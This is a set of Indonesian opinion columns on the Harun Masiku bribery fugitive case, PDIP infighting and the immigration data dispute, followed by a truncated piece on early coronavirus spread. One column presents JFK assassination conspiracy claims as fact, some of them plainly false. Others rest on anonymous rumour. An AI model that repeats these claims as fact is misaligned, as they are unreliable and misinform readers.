sebagai wasit. Yasonna masuk ke gelanggang sebagai manajer tim silat PDIP. Yasonna memakai jaket merah Banteng ketika dia berhadapan “head on” dengan Ronny Sompie. Seharusnya, Yasonna cukup menyerahkan urusan keberadaan Harun itu kepada Ronny Sompie sebagai dirjen imigrasi waktu itu. Biarkan saja Ronny yang berbicara kepada media. Supaya tidak simpangsiur. Kalau sejak awal hanya Dirjen Imigrasi yang tampil ke publik, tentu tidak perlu Yasonna terjebak dalam kontroversi yang semakin rumit sekarang ini. Tapi, karena Yasonna sejak awal ingin mengendalikan itu agar sesuai dengan misi partisan yang dia emban, beginilah kesudahannya. Dia berhadapan dengan Ronny Sompie. Naik ring. Dalam dua ronde, Ronny memukul Yasonna sampai KO. Cuma, Yasonna main curang. Dia bangun dari KO dan secepat kilat mencabut senjata pamungkasnya. Ronny Sompie terkapar dengan hunjaman belati. Yasonna disoraki publik. Sedangkan Ronny dilepas sebagai pahlawan.[] 29 Januari 2020 Penulis wartawan senior.

Banteng Terserempet, Kemenkumham dan KPK Jadi Korban?

Oleh Mochamad Toha Jakarta, FNN - Bagaikan bola salju yang bergulir semakin membesar dan cepat lajunya, kasus OTT Wahyu Setiawan dan buronnya Harun Masiku merembet ke mana-mana. Bahkan, kini telah “makan korban” di internal Kementerian Hukum dan HAM. Menkum HAM Yasonna H. Laoly mencopot Direktur Sistem dan Teknologi Keimigrasian Alif Suaidi berkaitan dengan polemik buron KPK Harun Masiku. Alif dicopot bersamaan dengan pencopotan Dirjen Imigrasi Ronny F Sompie. “Saya sudah memfungsionalkan Dirjen Imigrasi dan Direktur Sistik, Direktur Sistem (Teknologi) Informasi Keimigrasian,” kata Yasonna di Istana Kepresidenan Jakarta, Selasa (28/1/2020). Pencopotan dua pejabat di internal Kemenkum HAM itu merupakan buntut kekeliruan data informasi mengenai kembalinya Harun Masiku ke Indonesia. Harun adalah tersangka KPK dalam kasus suap terkait PAW anggota DPR dari PDIP. Yasonna menyebut untuk sementara posisi Ronny akan digantikan Irjen Kementerian Hukum dan HAM Jhoni Ginting. Jhoni akan merangkap tugas sebagai Pelaksana harian (Plh) Dirjen Imigrasi. “Irjen. Ya per hari ini. Tadi pagi. Hari ini. Siang. Tadi siang sesudah jam 12,” ujar Yasonna, seperti dilansir Detik.com, Selasa (28 Januari 2020 17:08 WIB). Ronny dilantik oleh Menteri Hukum dan HAM Yasonna H. Laoly pada medio Agustus 2015. Menurut Yasonna, pencopotan itu terkait dengan upaya tim independen atau Tim Pencari Fakta (TPF) mencari tahu mengapa imigrasi bisa kecolongan data perlintasan Harun Masiku. “Artinya difungsionalkan supaya nanti tim independen bisa bekerja dengan baik,” katanya. “Karena saya mau betul-betul terbuka dan tim nanti bisa melacak mengapa terjadi delay,” ujar Yasonna. Dikatakan, pencopotan Ronny itu juga agar tim independen bisa mengecek mengapa data perlintasan Harun Masiku bisa tersimpan di komputer bandara terminal 2. “Kalau di Terminal 3 kan beres, makanya ndak ada masalah di terminal 3. Kalau di terminal 2 ini ada delay, ada memang perubahan simkim satu ke simkim dua,” katanya. Ada pelatihan staf sehingga pada pelatihan itu data dummy masuk ke pusat, tidak dibuat akses ke pusat. “Tetap karena ada sesuatu, selesai itu kenapa tidak dibuka kembali access tersebut. Itu jadi persoalan,” sambung Yasonna. Beberapa hari ini, Ditjen Imigrasi sedang menjadi sorotan dalam kasus yang menyeret caleg PDIP, Harun Masiku yang masih buron dalam perkara suap mantan Komisioner KPU Wahyu Setiawan. Imigrasi sempat menyebut Harun mASIKU berada di Singapura saat KPK menggelar rangkaian OTT yang menyeret Wahyu Setiawan. Sementara, Tempo menemukan fakta bahwa Harun sudah pulang ke Indonesia ketika KPK menggelar OTT tersebut pada 8 Januari 2020. Istri Harun pun membenarkan bahwa sang suami sudah pulang. Belakangan, Imigrasi pun mengakui Harun sudah pulang. Mereka beralasan ada kesalahan sistem sehingga terlambat mengetahui kepulangan Harun. Koran Tempo membongkar data penerbangan dan kedatangan Harun di Bandara Soekarno-Hatta. Ia terbang menggunakan pesawat Garuda Indonesia dengan nomor penerbangan GA 832 dari Bandara Soekarno-Hatta menuju Bandara Changi, Singapura, pada 6 Januari lalu. Sehari kemudian, Harun kembali dari Singapura menumpang pesawat Batik Air dengan nomor penerbangan ID 7156. Pesawat dengan nomor registrasi PK-LAW ini terbang pada pukul 16.35 waktu setempat dari Gate A16 Bandara Changi. Hasil penelusuran Tempo diperkuat oleh rekaman kamera CCTV Bandara Soekarno-Hatta serta pengakuan Hildawati Jamrin, istri Harun. Tampaknya inilah yang membuat gundah-gulana Menkum HAM yang juga pejabat DPP PDIP itu. Dari sini kemudian terkuak adanya faksi-faksi di dalam internal DPP PDIP. Ini yang akhirnya juga menyerempet pada akan dipasangnya segel KPK di Kantor DPP PDIP dan akhirnya gagal terlaksana bersamaan dengan OTT tersebut. Pada Selasa (28/1/2020), bersamaan dengan pemecatan terhadap Ronny F. Sompie itu, dua Komisioner KPU, termasuk Ketua KPU Arief Budiman juga menjadi terperiksa di KPK. Ini adalah untuk kali kedua KPK memeriksa Komisioner KPU. Pada hari yang sama pula, di depan Komisi III DPR RI, Ketua KPK Firly Bahuri berencana menghentikan beberapa kasus yang masih dalam tataran penyelidikan. Ada dugaan semua rentetan peristiwa ini diakibatkan terserempetnya “banteng” dalam pusaran kasus rasuah di Indonesia. Terutama berkaitan dengan kasus Harun Masiku. Wajar saja kalau ada anggapan demikian. Terpentalnya Ronny Sompie diduga karena yang bersangkutan membenarkan hasil tulisan Koran Tempo ihwal keberadaan Harun Masiku pada saat sebelum hingga terjadinya OTT. Sementara, Firly Bahuri sendiri diduga pernah bertemu dengan Ketum DPP PDIP Megawati Soekarnoputri dan Sekkjen PDIP Hasto Kristiyanto jauh sebelum berlangsungnya rekrutmen Komisioner KPK beberapa waktu silam. Dan pihak KPU, merupakan pihak yang bisa mengeksekusi PAW Harun Masiku jika dapat diloloskan sesuai dengan “skenario”. Di sinilah independensi KPK “diuji”, membiarkan para pihak lolos dari jeratan hukum atau memprosesnya. Ketua YLBHI Asfinawati, menilai bahwa pengaburan informasi tentang keberadaan Harun Masiku menjadi indikasi perintangan penyidikan kasus dugaan suap Wahyu Setiawan. Asfi mendesak KPK mengusutnya juga. “Dalam semua kejahatan politik atau serius, enggak cuma perencanaan, tapi selalu ada penghilangan jejak dan upaya menghindari hukum,” kata Asfi.Termasuk minta keterangan pihak PTIK yang diduga tahu kalau Harun dan Hasto yang saat OTT "berlindung" di PTIK. Menurut Asfi, penyidik KPK perlu memeriksa Yasonna dan para pejabat Imigrasi untuk membuktikan dugaan mereka sengaja berbohong untuk mengacaukan penyidikan perkara korupsi. Termasuk Kabag Humas Imigrasi untuk ditelisik. Bagaimana dengan nasib Hasto Kristiyanto? Kabarnya, Mega sangat marah besar begitu tahu siapa sosok yang selama ini telah merusak citra PDIP. “Saya yakin 999 persen, Hasto tidak akan dilindungi PDIP. Sebab, Ibu kini sudah tahu,” ujar seorang teman. Harun Masiku Nama lengkapnya Harun Masiku, SH. Lahir di Jakarta pada 21 Maret 1971. Meski lahir di Jakarta, Harun menyelesaikan pendidikan SD hingga SMA di Watapone, Kabupaten Bone, Sulawesi Selatan. Kemudian Harun Masiku melanjutkan kuliah di Fakultas Hukum Universitas Hasanuddin, Makassar (1989-1994). Kemudian, melanjutkan sekolah di University of Warwick United Kingdom Jurusan Hukum Ekonomi Internasional, Inggris. Dalam kariernya, Harun Masiku pernah meraih British Chevening Award pada 1998 dan menjabat sebagai Ketua Persatuan Pelajar Indonesia United Kingdom West Midland pada 1998-1999. Sepulangnya dari Inggris, ia bekerja sebagai pengacara di sejumlah kantor hukum dan pernah juga menjadi Staf Ahli Anggota Komisi III DPR pada 2011. Karier politiknya mulai ditempuh saat menjadi Anggota Partai Demokrat. Pada 2009 Harun Masiku menjadi Tim Sukses Pemenangan Pemilu dan Pilpres 2009 Partai Demokrat Sulawesi Tengah untuk memenangkan paslon Susilo Bambang Yudhoyono-Boediono. Ia juga pernah menjadi caleg Demokrat . Setelah gagal di Demokrat, pada Pileg 2019 Harun Masiku pindah ke PDIP. Setelah Nazaruddin Kemas meninggal dunia, terjadi kekosongan kursi PDIP di DPR sehingga harus ada penggantinya sesuai dengan ketentuan PAW anggota DPR. Rapat Pleno KPU pun memutuskan Riezky Aprilia sebagai pengganti Nazarudin Kiemas yang wafat. Tapi, PDIP tetap mengusung Harun Masiku untuk duduk sebagai anggota DPR, meski melanggar UU Pemilu. Dengan latar belakang ini, logis bila muncul satu pertanyaan kunci: Mengapa PDIP begitu ngotot untuk menempatkan Harun Masiku ini sebagai Anggota DPR? Jika PDIP mau, mengingat profil Harun Masiku, bisa menjadikan dirinya calon anggota DPR “nomor jadi” saat Pileg 2019 lalu. Tak perlu repot kasak-kusuk ke KPU untuk menggolkan dia lewat PAW segala. Perlu dicatat: alamat domisili yang dia cantumkan di formulir pencalegan ternyata bukan alamat dia dan warga kompleks antam bilang dia bukan warga di situ. Bagaimana bisa PDIP sampai tiga kali bersurat ke KPU agar Harun dilantik, sementara alamat domisilinya fiktif? Ada apa? Mengapa PDIP ngotot agar Harun Masiku yang jadi PAW alm Nazarudin Kiemas, adik alm Taufik Kiemas, mantan Ketua MPR suami Mega dan ayah Ketua DPR Puan Maharani? Penulis wartawan senior.

Harun Masiku, Bukan Oswald Penembak John F. Kennedy

By Dr. Margarito Kamis Jakarta, FNN - Harun Masiku, pria yang sebelum ledakan Operasi Tengkap Tangan (OTT), tak dikenal publik telah hilang dari orbit hukum, sejauh ini. Sebagai ikutannya, ketidakjelasan berserakan disepanjang kasus ini. Siapa Harun? Apa hebatnya dia? Harun bersembunyi atau disembunyikan? Apakah Harun punya fakta kunci, layaknya kunci kotak Pandora? Siapa Harun ini, sehingga Kementerian Hukum dan HAM yang dipimpin Yasona Laoli, yang juga Ketua Bidang Hukum DPP PDI-P, harus menggunakan kekurangan teknis menerangkan perbedaan data Harun keluar dan masuk kembali ke Indonesia? Harun takut berurusan dengan KPK atau orang lain lebih dari takut bila pengetahuan Harun ditulis dalam berita acara pemeriksaan oleh penyidik KPK? Harun kah yang berada di pusat gagasan “pergantian antar waktu” anggota DPR RI dari PDI-P atau siapa? Bila ya, hebat sekali Harun ini. Berada di urutan “tak masuk akal” dari orang lain pada “urutan masuk akal”, tetapi menjadi subjek hak “menggantikan” calon terpilih. Ini satu loophole. Serba tak jelas, dan memancing satu demi satu pertanyaan. Itulah kasus Harun. Ini mengingatkan siapapun yang memperlajari tata negara dan ilmu politik tentang pergantian Presiden Kenedy. Presiden tampan, muda dan pintar, yang mengagumi Bung Karno ini, mati ditembak. Fakta resminya Kenndedy ditembak oleh Lee Harvey Oswald. Harun Masiku tak mungkin, dengan pertimbangan apapun, bisa dianalogikan dengan Lee Harvey Oswald. Itu jelas tidak. Harun, kabarnya menurut Hasto adalah penerima beasiswa Ratu Inggris dan memiliki kompetensi dalam International Economic Law (Warta Ekonomi.co.id, 24/1/2020). Oswald tidak. Oswald juga bukan politisi. Harun, entah apa kehebatannya sejauh ini, belum ditemukan oleh KPK. Sungguhpun belum ditemukan, status hukumnya pada kasus OTT Komisioner KPU, telah dibuat jelas oleh penyidik KPK. Harun telah ditetapkan jadi tersangka. Oswald juga, tapi mati dua hari setelah Kennedy mati ditembak. Oswald menjadi tersangka hanya dua hari. Ia mati tak lama setelah Kenendy tertembak. Ia mati dirumah sakit Parklane Memorial Hospiptal Dalas, sama satu kota dengan matinya Kennedy. Oswald mati karena ditembak oleh Jack Ruby, penjaga keamaan di salah club malam di Dallas. Ia ditembak di ruang bawah Kantor Kepolisian New Orleans. Menariknya belakangan Ruby teridentifikasi sebagai agen CIA. Eksplosif, Oswald yang ditemak mati oleh Ruby, dinilai bukan Oswald yang diyakini sebagai menembak Kennedy. Sementara Oswald yang sebenarnya tidak diketahui rimba dan eksistensinya. Oswald adalah pria yang teridentifikasi sebagai mantan mariner. Ia pernah bertugas pada Office of Naval Intelligence (ONI). Setelah selesai berdinas di Marinir, Oswald ke Rusia. Ketika di Rusia ia betemu Mariana, dan cinta membawa keduanya kejalinan perkawinan. Siapa Mariana? Belakangan Mariana teridentifikasi sebagai agen KGB. Harun, entah telah berkeluarga atau belum, telah ditetapkan penyidik KPK menjadi tersangka. Tetapi Hasto, Sekjen PDPI-P, yang diberitakan diare sehingga tak bisa mengikuti gladi bersih (CNNIndonesia, 9/1/2020), usai diperiksa sebagai saksi di KPK, menyatakan Harun itu korban (CNNIndonesia, 25/1/2020). Akankah pernyataan ini membuat penyidik KPK gembira? Jangan berasumsi. KPK, dipastikan lebih tahu makna pernyataan itu dalam kerangka teknis penyidikan. Akankah penyidik KPK menilai pernyataan itu sebagai conclusive and determinative statement? Terserah KPK. Mungkin penyidik KPK menilai pernyataan itu based on fact? Penyidik KPK yang tahu dari siapapun. Harun caleg PDI-P, itu jelas. Tetapi siapa dia dipanggung publik tak banyak yang tahu. Sama dengan Harun, siapa Lee Harvey Oswald, yang mati dua hari setelah “katanya” menembak mati Kennedy, juga tak jelas. Oswald, pria beristri Mariana, agen KGB ini, dikatakan sebagai seorang marxis. Oswald, pria cerdas yang pernah berdinas di Angkatan Laut Amerika, khususnya di Office of Naval Intelliegenc (ONI), bekerja sendiri atau bekerja dalam satu plot besar, tetap menjadi soal hingga sekarang. Walau begitu kecenderungan mutakhir mengarah ke kongklusi Oswald tak sendirian. Ia hanya satu diantara serangkain elemen kunci dalam plot. Tidak sama persis, tetapi menarik, pada kasus Harun, Bidang Hukum DPP PDI-P membentuk Tim Hukum. Tim ini berisi ahli hukum dan politisi. Di sisi lain dalam kasus Oswald, Amerika membentuk Komisi Warren (Earl Warren adalah Ketua Mahkamah Agung). Pembentukannya diperintahkan oleh Lyndon B. Johnson berdasarkan resolusi Kongres. Komisi ini beranggotakan sejumlah politisi dan mantan Direktur CIA. Richard Russel (Senator), John Sherman (Senator, Republik), Gerald Ford (House of Representative), Halle Boggs (Demokrat, House of Representative), Allen Dulles (Former Dir. of CIA), John Mcloy (Former President of World Bank). Sebagian saksi diperiksa secara terbuka. Sebagian lagi tertutup. Mereka dilarang untuk menyebarkan keterangannya ke publik. Apa saja hasilnya? Tetap Standar. Oswald adalah pemain tunggal. Sialnya lagi, temuan komisi ini menuai ejekan. Harun bekerja sendiri menempatkan dirinya sebagai pengganti antar waktu? Ini jadi crussial point of analysis. Inilah soalnya. Akankah penyidik mengarahkan ketajaman profesional feelingnya mengenali kenyataan ini? Bukan malah mengabaikannya? Itu urusan penyidik. Jangan berspekulasi dulu. Lupakan teori konspirasi, sebagaimana ditunjuk Komisi Warren. Tetapi mari mengenali pernyataan Clarence Calley, mantan Direktur CIA yang secara malu-malu, seperti dilansir The Guardian (26/10/2017) mengungkap apa yang mereka alami. Calley menegaskan pada tahun 1987 bahwa bila saja CIA segera merespon info tentang penembakan Kennedy, tidak ada yang meragukan Kennedy tidak akan terbunuh. Dilansir The Guardian (24/11/2018) setahun kemudian, Roy Truly, Direktur dan Menejer Personalia pada The Texas School Book Depository, tempat yang diidentifikasi Oswald melepaskan tembakan, tidak pernah didatangi oleh FBI atau Secret Service. Tidak ada komunikasi, apalagi verifikasi tempat. Padahal cara ini lazim dilakukan bila satu daerah akan didatangi itu pejabat terkemuka. Cukup menantang, Kennedy ke Dallas, tetapi Kepolisian Dallas dan Secreet Service seperti dicatat Colleman, malah menarik perlindungan mereka. William McKinney, mantan anggota kelompok intelijen Militer ke-112 di Markas Besar Angkatan Darat ke-4, Fort Sam Houston, Texas, tulis Colemman, mengungkapkan bahkan baik Kolonel Maximillian Reich maupun Letnan Kolonel Joe Cabaza mengajukan protes keras ketika diperintahkan untuk “stand down - istirahat” pada 22 November 1963. McKinney menyatakan lebih jauh “yang harus Secret Service lakukan saat itu hanyalah mengangguk dan unit-unit ini, yang sudah dilatih oleh sekolah intelijen top Angkatan Darat di Kamp Halabird, Maryland, akan melaksanakan fungsi normal mereka, yaitu perlindungan untuk Presiden, di Dalas. Faktanya malah mereka disuruh istirahat. Mckinney lebih jauh menyatakan di Kamp Halabird, diberikan kelas-kelas sangat terspelisasi mengenai perlindungan. Ini mencakup pelatihan yang dirancang untuk menyiapkan unit tentara untuk membantu Secret Service. Seandainya dukungan kami tidak ditolak, kami akan berada di Dalas saat itu. Apakah Kennedy telah ditentukan akhir hidupnya? Itu soal besar lainnya. Tetapi Coleman menulis Kenndey pernah memberitahu istrinya “Henry Kisinger itu gila.” Kennedy juga melarang Kisinger mendekati gedung putih. Kennedy seperti diungkap John Colleman, dalam Committee 300, juga diketahui menganggap hubungan khusus Inggris dengan Amerika tidak lain adalah “Kendali khusus.” Dalam OTT awal tahun ini da Harun, ada Wahyu Setiawan, ada Agustina Tio Friedelima dan Syaiful Bahri, pihak swasta (Tempo.co.id, 16/1/2020). Disisi lain ada Oswald, Ferrie Russo yang mengenal Oswal sebagai Leon Oswald, dan Clay Bentrand tidak lain adalah Clay Shaw, dan David Ferrie yang tidak lain adalah Guy Baniester menjadi figur kunci, pemain lapangan pembunuhan Kennedy (JFK online). Sial, keterangan Russo dalam persidangan Clay Shaw tahun 1963 bahwa Clay Shaw tidak lain adalah Bertrand Shaw atau Bertrand Shaw tidak lain adalah Clay Shaw disanggah, baik oleh Shaw sendiri maupun saksi lainnya. Russo dianggap berada dalam pengaruh obatan-obatan. Padahal nama itu, Clay Bertrand yang tidak lain adalah Clay Shaw juga diterangkan oleh William Moris dan Jessie Parker. Tetapi akhir yang pahit sepertinya telah ditentukan. Hakim John Hasting yang memimpin sidang menerima sanggahan itu. Praktis kasus pembunuhan Kennedy, Presiden yang menurut John Delane William dalam bukunya Lee Harvey Oswal, Lyndon Johnson and the JFK, pintar dan cinta damai itu, telah lama berlalu. Telah menjadi sejarah buram, kelam, hukum dan demokrasi Amerika. Akhir yang pahit, itulah kenyataannya. Hanya orang lapangan dilevel kecil, terbawah yang dibawa ke pengadilan. Itulah hukum di dunia demokrasi. Begitu pulakah hukum dan politik bekerja pada kasus Harun? Dilarang berprasangka. Tidak ada alasan untuk mengatakan akhir kasus ini sama dengan akhir kasus Oswald. Faktalah yang bicara kalak. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Harun Masiku, “Destroyer” Kandang Banteng!

Oleh Mochamad Toha Jakarta, FNN - Bahtera PDIP dikabarkan retak. Sejumlah faksi yang selama ini diam mulai bermunculan. Dan, dua faksi besar yang selama ini berseberangan saling intip untuk menjadi penguasa “kandang banteng” Megawati Soekarnoputri itu. Pemicunya tak lain dan tak bukan kasus buronan KPK Harun Masiku dan dugaan keterlibatan Sekjen PDIP Hasto Kristiyanto terkait suap yang dilakukannya. Sebuah kasus yang bermuara pada OTT Komisioner KPU Wahyu Setiawan. Kandang banteng yang terbelah ini diduga melibatkan Puan Maharani dan Hasto. Dan, Puan Cs tampaknya jengah dengan kiprah Hasto yang diduga terlibat dalam kasus Harun Masiku dan Wahyu Setiawan. Sedangkan kubu Hasto, tampaknya ingin mempertahankan status quo. Apakah si Puteri Mahkota, yang meski sedikit mengelak mengomentari masalah keterlibatan Hasto dalam kasus Harun Masiku itu, berhasil “membersihkan” PDIP sekaligus yang citranya terpuruk saat ini? Ataukah justru Hasto Cs dengan kekuatan di belakangnya yang masih dapat mempertahankan status quo? Kuncinya ada pada ke mana faksi-faksi lain berlabuh. Juga, tingkat keberhasilan KPK “memaksa” Hasto buka suara siapa yang lindungi Harun Masiku. Fakta yuridis, Hasto Kristiyanto kini berada di pusaran kasus suap Wahyu Setiawan. Dalam statusnya sebagai saksi, Hasto telah dipanggil KPK, Jumat (24/1/2020). Jika hasil pemeriksaan saksi lainnya mengarah adanya keterlibatan Hasto, bisa jadi ia bakal menyusul jadi tersangka pula Di internal PDIP pasca terkuaknya kasus suap itu, beberapa kader gusar dengan aksi KPK menangkap dua mantan calegnya, yakni Saeful Bahri dan Agustiani Tio. Satu caleg PDIP lainnya, Harun Masiku, dimasukkan dalam daftar buronan. Citra partai jadi taruhan. PDIP terbelah menyikapi sengkarut kasus pengurusan PAW DPR dari almarhum Nazaruddin Kiemas kepada Harun Masiku di Dapil Sumsel I. Petinggi PDIP, Puan Maharani disebut ikut gusar melihat manuver partai banteng di bawah komando Hasto Kristiyanto ini. Mengutip sumber dari Merdeka.com di internal PDIP mengungkap kegusaran Puan atas kasus yang mencoreng wajah partai. Namun dia tak bisa berbuat banyak. Sebab, ada faksi lain yang tak kalah kuat di belakang petinggi partai yang disebut terlibat. Lalu Puan pun cenderung memposisikan diri di luar partai. “Itu tanyanya ke PDIP. Bukan ke Ketua DPR,” kata Puan saat ditanya tentang kasus Harun Masiku ditemui di Jogjakarta, 20 Januari lalu. Ketua DPP PDIP, Bambang Wuryanto mengakui, kandang banteng terbelah menyikapi kasus Harun Masiku. Namun, kata Bambang, dalam sebuah organisasi, perdebatan yang terjadi jelang pengambilan keputusan adalah hal biasa. Khususnya terkait pembentukan badan hukum untuk 'meluruskan' derasnya pemberitaan tentang Harun Masiku. PDIP bermanuver dengan membentuk tim hukum, sowan ke Dewan Pers dan polisi. Langkah ini dinilai berlebihan. Sejumlah kader PDIP menganggap hal ini sebagai sikap yang terlalu reaktif. “Itu biasa. Faksi A, faksi B, faksi C. Ada. Saya yakin di TNI pun ada di Polri saya yakin ada (kubu-kubuan),” jelas Bambang di DPR. Bambang juga menanggapi adanya orang-orang yang tak suka dengan keputusan PDIP yang seolah membela habis-habisan Sekjen PDIP Hasto Kristiyanto dalam perkara ini. Termasuk kabar Puan Maharani yang tak berada di belakang Hasto. Sekali lagi Bambang menegaskan, perbedaan hal yang lumrah. Tapi, ketika itu sudah menjadi sebuah keputusan organisasi, maka semua harus dijalankan. Mau tidak mau atau suka tidak suka. “Kalau itu (ada yang tidak suka keputusan) misalnya subjektif sangat mungkin, tapi itu tidak mengurangi kalau dia diperintah kemudian berhenti. Misal anggap si X enggak cocok dengan keputusan partai misal pak sekjen, tapi kita pasti ikut,” lanjut Bambang. Sekretaris Fraksi PDIP di DPR Andreas Hugo Pareira sendiri membantah partainya reaktif menanggapi kasus Harun Masiku. Dia mengatakan, tim hukum dibentuk untuk melawan upaya framing yang dilakukan pihak tertentu untuk menyudutkan PDIP. Dia melihat ada opini yang hendak dibentuk bahwa PDIP melawan KPK. Hal ini yang perlu diluruskan. Hal itulah yang menjadi salah satu fungsi tim hukum. “Ada framing begini-begini, ini bahaya. Kejahatan framing itu berbahaya,” jelas Andreas. Sementara Politikus senior PDIP Effendi Simbolon ogah menanggapi perkara Harun Masiku yang membelit sejumlah caleg partainya. Effendi Simbolon yang selama ini dikenal keras berseberangan dengan internal PDIP, lebih memilih diam. Harun “Sakti” Hingga tulisan ini selesai, Harun Masiku belum juga ditemukan keberadaannya oleh KPK. Ia masih dinyatakan “buron”. Di sini mulai ada kecurigaan, ada “kekuatan besar” yang berusaha melindungi Harun Masiku sejak pulang dari Singapura, 7 Januari 2020. Koran Tempo membongkar data penerbangan dan kedatangan Harun di Bandara Soekarno-Hatta. Ia terbang menggunakan pesawat Garuda Indonesia dengan nomor penerbangan GA 832 dari Bandara Soekarno-Hatta menuju Bandara Changi, Singapura, pada 6 Januari lalu. Sehari kemudian, Harun kembali dari Singapura menumpang pesawat Batik Air dengan nomor penerbangan ID 7156. Pesawat dengan nomor registrasi PK-LAW ini terbang pada pukul 16.35 waktu setempat dari Gate A16 Bandara Changi. Hasil penelusuran Tempo diperkuat dengan rekaman kamera CCTV Bandara Soekarno-Hatta serta pengakuan Hildawati Jamrin, istri Harun. Pada saat operasi penangkapan, tim KPK mengejar Harun, tapi ia menghilang di kawasan kampus Perguruan Tinggi Ilmu Kepolisian, Jakarta Selatan. KPK hanya menangkap Wahyu dan tujuh orang lainnya. Wahyu diduga menerima suap dari Harun. Suap ini diduga untuk memuluskan jalan Harun menjadi anggota DPR lewat PAW di Dapil Sumsel 1. Wahyu dan Harun, bersama Saeful Bachri dan Agustiani Tio Fridelina ditetapkan sebagai tersangka. Ketiga tersangka sudah ditahan, kecuali Harun yang buron. Sementara Hasto masih menjadi saksi. Namun, jika menelisik upaya KPK yang “memburu” Harun sampai ke PTIK seperti ditulis Tempo itu menyebut ada Hasto di sana, berarti Hasto tersangka. Ketua Yayasan Lembaga Bantuan Hukum Indonesia, Asfinawati, menilai bahwa pengaburan informasi tentang keberadaan Harun menjadi indikasi perintangan penyidikan kasus dugaan suap Wahyu Setiawan. Asfi mendesak KPK mengusutnya. “Dalam semua kejahatan politik atau serius, enggak cuma perencanaan, tapi selalu ada penghilangan jejak dan upaya menghindari hukum,” kata Asfi. Tim KPK tak mungkin ke PTIK jika Harun tak di sana! Mengapa Harun dan Hasto ada di PTIK ketika KPK sedang memburu Harun? Dari sinilah sebenarnya KPK bisa dengan mudah menelisik keberadaan Harun. Jika Hasto memang ada, ngapain ia “janjian” ketemu Harun di PTIK segala? Sangat mudah sekali untuk dugaan keberadaan Harun dan Hasto di PTIK tersebut. Sebagai lembaga pendidikan yang mencetak Sarjana Ilmu Kepolisian, tentunya di sana juga terdapat CCTV pada jam-jam seperti pantauan KPK di sana. Jika PTIK tidak transparan mengenai keberadaan Harun dan Hasto di PTIK, seperti ditulis Tempo, maka dugaan adanya upaya melindungi keduanya dengan mengaburkan keberadaan mereka, menjadi semakin menguat: Harun dilindungi! Apalagi, memang ada upaya “menghambat” pantauan KPK atas Harun dan Hasto dari pihak PTIK. Direktur Eksekutif Global Future Institut (GFI) Prof. Hendrajit merinci beberapa aspek profil Harun Masiku. Pertama, dalam bidang kerjaan, konisisten di jalur hukum. Sebagai lulusan perguruan tinggi Inggris yang memilih studi hukum ekonomi internasional, mengisyaratkan bahwa kiprahnya sebagai ahli hukum, merupakan jangkar untuk menangani masalah-masalah bisnis dan perindustrian strategis. Terbukti Harun pernah jadi tenaga ahli di Komisi III bidang hukum. Satu catatan lagi terkait dirinya sebagai pakar hukum. Masiku pernah bekerja di beberapa kantor pengacara. Artinya, seringkali berpindah-pindah kantor hukum. “Biasanya yang punya kebiasaan begini, menggambarkan sosok yang punya bakat khusus menjalankan misi khusus, melampaui profesinya sebagai pengacara hukum,” ungkap Hendrajit. Kedua, berasal dari Makasar, Sulawesi Selatan. Sebuah fakta penting bahwa dirinya berada dalam lingkup pengaruh Jaringan Bugis-Makasar yang punya jaringan luas di berbagai daerah. Ketiga, fakta bahwa dirinya dengan begitu mudah pindah dari Partai Demokrat ke PDIP, padahal pernah jadi timses mantan Presiden SBY. Mengindikasikan adanya jaringan tidak kasat mata yang punya pengaruh kuat baik di Demokrat maupun PDIP. Dengan kata lain, Harun pindah dari Demokrat ke PDIP, bukan sekadar kutu loncat. Ada misi politik. Harun Masiku sepertinya berfungsi sebagai playmaker dalam permainan ini. “Entah kerja buat siapa,” lanjut Hendrajit. Profil Harun Masiku menunjukkan satu hal, bahwa apapun motifnya dia, sosok ini punya style. Kedua, dimanapun lokus permainannya, konsistensi kiprah geraknya adalah bidang hukum dan bisnis. “Jadi, orang ini bukan sekadar operator lapangan. Tapi tahu skema dan strategi permainan,” jelas Hendrajit. Penulis wartawan senior.

Virus Corona: Jumlah Terjangkit Bisa Mencapai Ratusan Ribu Orang

By Asyari Usman Jakarta, FNN - Portal berita “Business Insider” di Singapura melaporkan virus Corona, yang disebut “2019-nCoV” sudah masuk ke Provinsi Xinjiang. Di wilayah ini, sekitar satu juta warga muslim Uigur dipenjarakan oleh Presiden Xi Jinping. Ada dua kasus Corona di Xinjiang, seperti dilaporkan oleh Radio Free Asia dan Wall Street Journal, hari Kamis (23/1/2020). Kedua sumber berita ini mengutip penjelasan para petugas kesehatan setempat. Penularan ini membuat 465 kamp tahanan Uigur di Xinjiang sangat rentan. Sebab, kondisi di ratusan komplek tahanan itu sangat buruk. Tidak ada sanitasi. Penghuninya padat, sedangkan fasilitas kesehatan sangat minim. Pemerintah mengeluarkan angka resmi jumlah yang tertular di negara itu. Sejauh ini, kata mereka, ada 1,970 kasus di seluruh China, terutama di Provinsi Wuhan. Jumlah korban meninggal di China mencapai 56 orang. Tapi, seorang perawat yang memakai masker dan dia merawat pasien Corona di Wuhan mengatakan lewat video bahwa pemerintah menutup-nutupi jumlah yang terjangkit. Dia mengatakan, sudah 90,000 orang yang tertular. Presiden Xi Jinping mengakui bahwa China sedang menghadapi “situasi berat”. Sebelumnya, dia mengatakan “Kami akan menang melawan virus Corona.” Laporan-laporan menyebtukan, pihak penguasa China mulai mengekang media sosial yang mengunggah soal Corona. Hari Sabtu (25/1/2020), para pejabat kesehatan Malaysia melaporkan empat kasus virus Corona yang terkonfirmasi. Pengumuman ini keluar beberapa jam saja setelah Malaysia mempublikasikan kasus pertama. Singapura memastikan ada satu kasus Corona. Sementara itu, Prancis memastikan kasus pertama virus Corona. Para pejabat kesehatan mengatakan, dua diantara tiga warga negara China yang terjangkit Corona, tiba di Prancis tanpa ada gejala. Penularan virus Corona berlangsung relatif sangat cepat. Dua analisis ilmiah mengenai penyebaran Corona menyebutkan bahwa satu orang yang terkena virus itu menulari dua atau tiga orang lain. Ini disimpulkan dari jumlah tertular yang ada saat ini. Ada dua penelitian yang menarik untuk dicermati tentang ini. Keduanya dilakukan oleh dua universitas berbeda di Inggris. Pertama, studi yang dilakukan Imperial College London –salah satu universitas papan atas dunia. Tim peneliti Imperial mengatakan, wabah Corona di China dapat dikendalikan kalau mereka bisa menyetop penularan 60% dari kasus yang ada saat ini. Prof Neil Ferguson, spesialis penyakit menular di Imperial, mengatakan untuk waktu ini tidak jelas apakah penularan bisa dibendung. Tim peneliti Ferguson mengatakan, jumlah kasus Corona di China mencapai 4,000 orang pada 18 Januari. Tingkat penyebarannya adalah satu orang menulari 2-3 orang lain. Kedua, studi yang dilakukan oleh Universitas Lancaster. Tim 